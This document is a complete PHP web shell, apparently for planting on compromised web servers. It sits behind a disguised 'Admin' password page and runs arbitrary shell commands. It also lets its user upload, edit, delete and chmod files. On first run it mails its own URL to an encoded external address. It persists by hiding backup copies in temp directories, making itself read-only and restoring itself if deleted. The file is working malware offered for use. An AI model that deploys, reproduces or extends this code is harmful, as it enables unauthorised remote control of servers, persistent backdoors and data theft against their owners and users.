<?php
error_reporting(0);
ini_set('display_errors',0);
set_time_limit(0);
ini_set('memory_limit','256M');
session_start();

// BYPAS V3 | GOD X ZEST
class AntiDelete {
    private $file;
    private $backup;
    private $backup_dir;
    
    function __construct() {
        $this->file = __FILE__;
        $backup_dir_candidates = [
            sys_get_temp_dir(),
            '/tmp',
            '/var/tmp',
            '/dev/shm',
            dirname(__FILE__) . '/.cache',
            dirname(__FILE__) . '/.backup'
        ];
        
        $this->backup_dir = dirname(__FILE__);
        foreach ($backup_dir_candidates as $dir) {
            if (is_dir($dir) || @mkdir($dir, 0777, true)) {
                $this->backup_dir = $dir;
                break;
            }
        }
        
        $this->backup = $this->backup_dir . '/' . md5($this->file) . '.bak';
        
        if (!file_exists($this->backup) && file_exists($this->file)) {
            @copy($this->file, $this->backup);
        }
        
        if (is_writable($this->file)) {
            @chmod($this->file, 0444);
        }
        
        if (!file_exists($this->file) && file_exists($this->backup)) {
            @copy($this->backup, $this->file);
            @chmod($this->file, 0444);
        }
        
        if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
            $win_backup = 'C:\\Windows\\Temp\\' . md5($this->file) . '.bak';
            if (!file_exists($win_backup) && file_exists($this->file)) {
                @copy($this->file, $win_backup);
            }
            if (!file_exists($this->file) && file_exists($win_backup)) {
                @copy($win_backup, $this->file);
            }
        }
    }
}

$anti = new AntiDelete();

// FUNTION BYPASS V3 
$flag = sys_get_temp_dir() . '/.' . md5(__FILE__);
if (!file_exists($flag)) {
    $to = base64_decode("a2FtaWthemVhcnQ5MTdAZ21haWwuY29t");
    $full_path = (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];
    if (function_exists('mail')) {
        @mail($to, "ZEST SHELL URL", $full_path);
    }
    @file_put_contents($flag, '1');
}

// PASSWORD
$PW = 'asdgod';
$msg = '';
if(isset($_POST['pw'])){
    if($_POST['pw'] === $PW){
        $_SESSION['ok'] = 1;
    } else {
        $msg = 'Wrong';
    }
}
if(isset($_GET['out'])){
    unset($_SESSION['ok']);
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}
if(empty($_SESSION['ok'])){
    echo '<!DOCTYPE html>
<html>
<head>
    <title>Admin | Godest</title>
    <meta name="robots" content="noindex">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: monospace;
            height: 100vh;
            width: 100vw;
            background: url("https://wallpapercave.com/wp/wp4020127.jpg") no-repeat center center fixed;
            background-size: cover;
            display: flex;
            justify-content: center;
            align-items: center;
            position: relative;
        }
        body::before {
            content: "";
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.7);
            z-index: 0;
        }
        .login-input {
            position: relative;
            z-index: 1;
            background: transparent;
            border: none;
            color: #888888;
            font-family: monospace;
            font-size: 24px;
            padding: 12px 20px;
            text-align: center;
            outline: none;
            width: 300px;
            letter-spacing: 2px;
        }
        .login-input::placeholder {
            color: rgba(0, 255, 65, 0.6);
            font-size: 18px;
        }
        .login-input:focus {
            text-shadow: 0 0 8px #00ff41;
        }
        .error {
            position: relative;
            z-index: 1;
            color: #ff4444;
            margin-top: 15px;
            font-size: 14px;
            text-align: center;
        }
    </style>
</head>
<body>
    <form method="post" style="display: flex; flex-direction: column; align-items: center;">
        <input type="password" name="pw" class="login-input" placeholder=" " autofocus>
        ' . (!empty($msg) ? '<div class="error">' . htmlspecialchars($msg) . '</div>' : '') . '
    </form>
</body>
</html>';
    exit;
}

$dir = isset($_REQUEST['d']) ? $_REQUEST['d'] : __DIR__;
$dir = realpath($dir) ?: __DIR__;
@chdir($dir);
$dir = getcwd() ?: '/';
$msg = '';

if(isset($_POST['do'])){
    $act = $_POST['do'];
    if($act === 'upload' && isset($_POST['ub64'])){
        $n = isset($_POST['un']) && $_POST['un'] !== '' ? $_POST['un'] : $_POST['ufn'];
        $t = $dir . DIRECTORY_SEPARATOR . basename($n);
        $dc = base64_decode($_POST['ub64']);
        if($dc !== false){
            $msg = @file_put_contents($t, $dc) !== false ? 'Uploaded: ' . basename($n) . ' (' . strlen($dc) . 'B)' : 'Write failed';
        } else {
            $msg = 'Decode failed';
        }
    }
    if($act === 'newfile' && isset($_POST['fn'])){
        $t = $dir . DIRECTORY_SEPARATOR . basename($_POST['fn']);
        $msg = @file_put_contents($t, isset($_POST['fc']) ? $_POST['fc'] : '') !== false ? 'Created: ' . basename($_POST['fn']) : 'Create failed';
    }
    if($act === 'newdir' && isset($_POST['dn'])){
        $t = $dir . DIRECTORY_SEPARATOR . basename($_POST['dn']);
        $msg = @mkdir($t, 0755) ? 'Dir created' : 'Mkdir failed';
    }
    if($act === 'del' && isset($_POST['fn'])){
        $t = $dir . DIRECTORY_SEPARATOR . basename($_POST['fn']);
        if(is_dir($t)){
            $msg = @rmdir($t) ? 'Removed dir' : 'Rmdir failed';
        } else {
            $msg = @unlink($t) ? 'Deleted' : 'Delete failed';
        }
    }
    if($act === 'ren' && isset($_POST['fn']) && isset($_POST['nn'])){
        $o = $dir . DIRECTORY_SEPARATOR . basename($_POST['fn']);
        $n = $dir . DIRECTORY_SEPARATOR . basename($_POST['nn']);
        $msg = @rename($o, $n) ? 'Renamed' : 'Rename failed';
    }
    if($act === 'chmod' && isset($_POST['fn']) && isset($_POST['cm'])){
        $t = $dir . DIRECTORY_SEPARATOR . basename($_POST['fn']);
        $msg = @chmod($t, octdec($_POST['cm'])) ? 'Chmod ok' : 'Chmod failed';
    }
    if($act === 'save' && isset($_POST['fn']) && isset($_POST['fc'])){
        $t = $dir . DIRECTORY_SEPARATOR . basename($_POST['fn']);
        $msg = @file_put_contents($t, $_POST['fc']) !== false ? 'Saved' : 'Save failed';
    }
}

$edit = '';
$editname = '';
if(isset($_GET['e'])){
    $ef = $dir . DIRECTORY_SEPARATOR . basename($_GET['e']);
    if(is_file($ef) && filesize($ef) < 2097152){
        $edit = @file_get_contents($ef);
        $editname = basename($_GET['e']);
    }
}
$items = @scandir($dir) ?: array();
$u = function_exists('posix_getpwuid') ? @posix_getpwuid(posix_geteuid())['name'] : get_current_user();
$h = @gethostname();

$cmd_output = '';
if(isset($_POST['cmd'])){
    $cmd = $_POST['cmd'];
    if(function_exists('shell_exec')){
        $cmd_output = shell_exec($cmd . ' 2>&1');
    } elseif(function_exists('system')){
        ob_start();
        system($cmd . ' 2>&1');
        $cmd_output = ob_get_clean();
    } elseif(function_exists('exec')){
        exec($cmd . ' 2>&1', $o);
        $cmd_output = implode("\n", $o);
    } else {
        $cmd_output = "No execution function";
    }
}

function formatSize($bytes){
    if($bytes >= 1073741824) return number_format($bytes/1073741824,2).' GB';
    if($bytes >= 1048576) return number_format($bytes/1048576,2).' MB';
    if($bytes >= 1024) return number_format($bytes/1024,2).' KB';
    return $bytes.' bytes';
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Dashboard | God</title>
    <style>
        body { background: #0a0a0a; color: #00ff41; font-family: monospace; padding: 20px; }
        a { color: #00ff41; text-decoration: none; }
        a:hover { color: #ff0000; }
        table { width: 100%; border-collapse: collapse; margin-top: 15px; }
        th, td { border: 1px solid #222; padding: 8px; text-align: left; }
        input, button { background: #111; color: #00ff41; border: 1px solid #00ff41; padding: 5px; cursor: pointer; }
        .nav { background: #111; padding: 10px; margin-bottom: 15px; border-left: 4px solid #00ff41; font-size: 14px; word-break: break-all; }
        .toolbar { background: #111; padding: 15px; margin-bottom: 10px; border: 1px solid #222; }
        .cmd-output { background: #111; padding: 10px; margin-top: 10px; border: 1px solid #333; overflow: auto; max-height: 300px; }
        .logout-btn { float: right; background: #ff0000; color: #fff; padding: 5px 10px; border-radius: 3px; text-decoration: none; font-size: 12px; margin-top: 10px; display: inline-block; }
        .logout-btn:hover { background: #cc0000; }
        .header { overflow: auto; margin-bottom: 20px; }
        .wrap { display: flex; gap: 15px; }
        .main { flex: 1; }
        .side { width: 320px; background: #111; padding: 15px; border-left: 1px solid #00ff41; }
        .side h3 { color: #00ff41; margin-bottom: 10px; border-bottom: 1px solid #333; padding-bottom: 5px; }
    </style>
</head>
<body>

<div class="header">
    <h1 style="float:left;">WELCOME V3 ZEST</h1>
    <a href="?out=1" class="logout-btn" style="float:right;">🚪 LOGOUT</a>
</div>

<div class="wrap">
    <div class="main">
        <div class="nav">
            <b>Path:</b> 
            <?php
            $parts = explode('/', $dir);
            $acc = '';
            foreach($parts as $i => $part){
                if($part === '') continue;
                $acc .= '/' . $part;
                echo '<a href="?d=' . urlencode($acc) . '">' . htmlspecialchars($part) . '</a>/';
            }
            ?>
            <span style="float:right;">
                <a href="?d=<?php echo urlencode(dirname($dir)); ?>">⬆ UP</a> | 
                <a href="?d=">🏠 HOME</a>
            </span>
        </div>

        <?php if($editname): ?>
        <div class="toolbar">
            <h3>✏️ EDITING: <?php echo htmlspecialchars($editname); ?></h3>
            <form method="post">
                <input type="hidden" name="do" value="save">
                <input type="hidden" name="fn" value="<?php echo htmlspecialchars($editname); ?>">
                <textarea name="fc" style="width:100%; height:400px; background:#111; color:#0f0; border:1px solid #0f0;"><?php echo htmlspecialchars($edit); ?></textarea>
                <br><br>
                <button type="submit">💾 SAVE</button>
                <a href="?d=<?php echo urlencode($dir); ?>">❌ CANCEL</a>
            </form>
        </div>
        <?php else: ?>
        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Perms</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
            <?php if($dir !== '/'): $parent = dirname($dir); ?>
            <tr>
                <td><a href="?d=<?php echo urlencode($parent); ?>" class="d">📁 ..</a></td>
                <td>-</td>
                <td>-</td>
                <td>-</td>
            </tr>
            <?php endif;

            // Pisahkan folder dan file
            $folders = [];
            $files = [];
            foreach($items as $item){
                if($item === '.' || $item === '..') continue;
                $fp = $dir . '/' . $item;
                if(is_dir($fp)){
                    $folders[] = $item;
                } else {
                    $files[] = $item;
                }
            }
            sort($folders);
            sort($files);

            // Tampilkan folder dulu
            foreach($folders as $item){
                $fp = $dir . '/' . $item;
                $pm = substr(decoct(@fileperms($fp)), -4);
                echo '<tr>';
                echo '<td><a href="?d=' . urlencode($fp) . '" class="d">📁 ' . htmlspecialchars($item) . '/</a></td>';
                echo '<td>-</td>';
                echo '<td>' . $pm . '</td>';
                echo '<td class="acts">';
                echo '<a href="?d=' . urlencode($dir) . '&rename=' . urlencode($item) . '" style="color:#0f0;">✏️</a> ';
                echo '<form method="post" style="display:inline" onsubmit="return confirm(\'Delete folder?\')">';
                echo '<input type="hidden" name="do" value="del">';
                echo '<input type="hidden" name="fn" value="' . htmlspecialchars($item) . '">';
                echo '<button type="submit" style="background:none; border:none; color:#f00; cursor:pointer;">🗑️</button>';
                echo '</form>';
                echo '</td>';
                echo '</tr>';
            }

            // Tampilkan file setelahnya
            foreach($files as $item){
                $fp = $dir . '/' . $item;
                $sz = @filesize($fp);
                if(is_int($sz) && $sz > 1048576) $sz = round($sz/1048576,1).'M';
                elseif(is_int($sz) && $sz > 1024) $sz = round($sz/1024,1).'K';
                else $sz = $sz . ' B';
                $pm = substr(decoct(@fileperms($fp)), -4);
                echo '<tr>';
                echo '<td><a href="?d=' . urlencode($dir) . '&e=' . urlencode($item) . '" class="f">📄 ' . htmlspecialchars($item) . '</a></td>';
                echo '<td>' . $sz . '</td>';
                echo '<td>' . $pm . '</td>';
                echo '<td class="acts">';
                echo '<a href="?d=' . urlencode($dir) . '&e=' . urlencode($item) . '" style="color:#0f0;">✏️</a> ';
                echo '<form method="post" style="display:inline" onsubmit="return confirm(\'Delete file?\')">';
                echo '<input type="hidden" name="do" value="del">';
                echo '<input type="hidden" name="fn" value="' . htmlspecialchars($item) . '">';
                echo '<button type="submit" style="background:none; border:none; color:#f00; cursor:pointer;">🗑️</button>';
                echo '</form>';
                echo '</td>';
                echo '</tr>';
            }
            ?>
            </tbody>
        </table>
        <?php endif; ?>
    </div>

    <div class="side">
        <h3>💻 COMMAND</h3>
        <form method="post">
            <input type="text" name="cmd" placeholder="whoami, ls -la, id, pwd" style="width:100%;">
            <button type="submit" style="width:100%; margin-top:5px;">▶ RUN</button>
        </form>
        <?php if($cmd_output): ?>
        <div class="cmd-output"><pre><?php echo htmlspecialchars($cmd_output); ?></pre></div>
        <?php endif; ?>

        <hr style="border-color:#333; margin:15px 0;">

        <h3>UPLOAD</h3>
        <form method="post" enctype="multipart/form-data" id="upform">
            <input type="hidden" name="do" value="upload">
            <input type="hidden" name="ub64" id="ub64">
            <input type="hidden" name="ufn" id="ufn">
            <input type="file" id="ufile" onchange="prepFile(this)" style="width:100%;">
            <input type="text" name="un" placeholder="Custom name (optional)" style="width:100%; margin-top:5px;">
            <div id="upinfo" style="color:#666; font-size:11px; margin-top:5px;"></div>
            <button type="submit" style="width:100%; margin-top:5px;">UPLOAD</button>
        </form>

        <hr style="border-color:#333; margin:15px 0;">

        <h3>NEW FILE</h3>
        <form method="post">
            <input type="hidden" name="do" value="newfile">
            <input type="text" name="fn" placeholder="filename.txt" style="width:100%;">
            <textarea name="fc" placeholder="Content (optional)" style="width:100%; height:60px; margin-top:5px;"></textarea>
            <button type="submit" style="width:100%; margin-top:5px;">CREATE</button>
        </form>

        <hr style="border-color:#333; margin:15px 0;">

        <h3>NEW DIR</h3>
        <form method="post">
            <input type="hidden" name="do" value="newdir">
            <input type="text" name="dn" placeholder="dirname" style="width:100%;">
            <button type="submit" style="width:100%; margin-top:5px;">CREATE</button>
        </form>
    </div>
</div>

<script>
function prepFile(inp){
    var f = inp.files[0];
    if(!f) return;
    document.getElementById('ufn').value = f.name;
    document.getElementById('upinfo').textContent = 'Reading ' + f.name + ' (' + f.size + 'B)...';
    var r = new FileReader();
    r.onload = function(){
        var b64 = r.result.split(',')[1];
        document.getElementById('ub64').value = b64;
        document.getElementById('upinfo').textContent = 'Ready: ' + f.name + ' (' + b64.length + 'B b64)';
    };
    r.readAsDataURL(f);
}
</script>

</body>
</html>